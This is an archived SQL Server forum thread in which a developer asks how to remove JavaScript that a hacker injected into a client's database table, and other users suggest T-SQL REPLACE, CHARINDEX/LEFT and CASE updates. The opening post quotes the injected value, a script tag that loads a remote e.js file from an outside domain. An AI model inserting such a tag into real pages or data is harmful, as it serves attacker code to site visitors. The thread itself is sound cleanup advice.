Need to replace some text from a field

Please start any new threads on our new site at https://forums.sqlteam.com. We've got lots of great SQL Server experts to answer whatever question you can come up with.

All Forums

SQL Server 2005 Forums

Transact-SQL (2005)

Need to replace some text from a field

Author

Topic

helixpoint
Constraint Violating Yak Guru

291 Posts

Posted - 2009-01-28 : 14:28:34

Looks like a clint of mine had a hacker and put some javascript in his state table. How do I replate the script from every state record in the table

AK<script src=http://iwdown.com/inc/e.js></script>

Dave
Helixpoint Web Development
http://www.helixpoint.com

tkizer
Almighty SQL Goddess

38200 Posts

Posted - 2009-01-28 : 14:39:19

UPDATE SomeTable
SET ColumnC = REPLACE(ColumnC, 'YourString', '')

Tara Kizer
Microsoft MVP for Windows Server System - SQL Server
http://weblogs.sqlteam.com/tarad/

Subscribe to my blog

helixpoint
Constraint Violating Yak Guru

291 Posts

Posted - 2009-01-28 : 14:45:12

I just noticed something, They are all different. Is there a way to do everything between and including the <.......>

Dave
Helixpoint Web Development
http://www.helixpoint.com

helixpoint
Constraint Violating Yak Guru

291 Posts

Posted - 2009-01-28 : 14:57:43

quote:
Originally posted by helixpoint

I just noticed something, They are all different. Is there a way to do everything between and including the <.......>

Or remove < and everything after it

Dave
Helixpoint Web Development
http://www.helixpoint.com

Dave
Helixpoint Web Development
http://www.helixpoint.com

tkizer
Almighty SQL Goddess

38200 Posts

Posted - 2009-01-28 : 15:09:09

You can use the CHARINDEX function along with LEFT or SUBSTRING.

It'll be similar to this, I say similar as I didn't test it and there might be a syntax issue.

UPDATE YourTable
SET ColumnC = LEFT(ColumnC, CHARINDEX('<', ColumnC) - 1)

Run a SELECT statement first to be sure it is doing it right:

SELECT TOP 100 LEFT(ColumnC, CHARINDEX('<', ColumnC) - 1)
FROM YourTable

Tara Kizer
Microsoft MVP for Windows Server System - SQL Server
http://weblogs.sqlteam.com/tarad/

Subscribe to my blog

helixpoint
Constraint Violating Yak Guru

291 Posts

Posted - 2009-01-28 : 17:02:35

It works if the field is not empty in one of the reccords. Any idea what to do?

I tried this, but still get an invalid length

UPDATE dbo.MailingList
SET Address = LEFT(Address, CHARINDEX('<', Address) - 1)
WHERE (Address <> '')

Dave
Helixpoint Web Development
http://www.helixpoint.com

tonymorell10
Yak Posting Veteran

90 Posts

Posted - 2009-01-28 : 17:19:04

Try something like this:

 
update table
     set column = CASE WHEN CHARINDEX('<', column ) = 1 THEN ''
		       WHEN CHARINDEX('<', column ) > 1 THEN LEFT(column, CHARINDEX('<', column) - 1)
		       ELSE column
		   END

Subscribe to SQLTeam.com

SQLTeam.com Articles via RSS

SQLTeam.com Weblog via RSS

- Advertisement -

Resources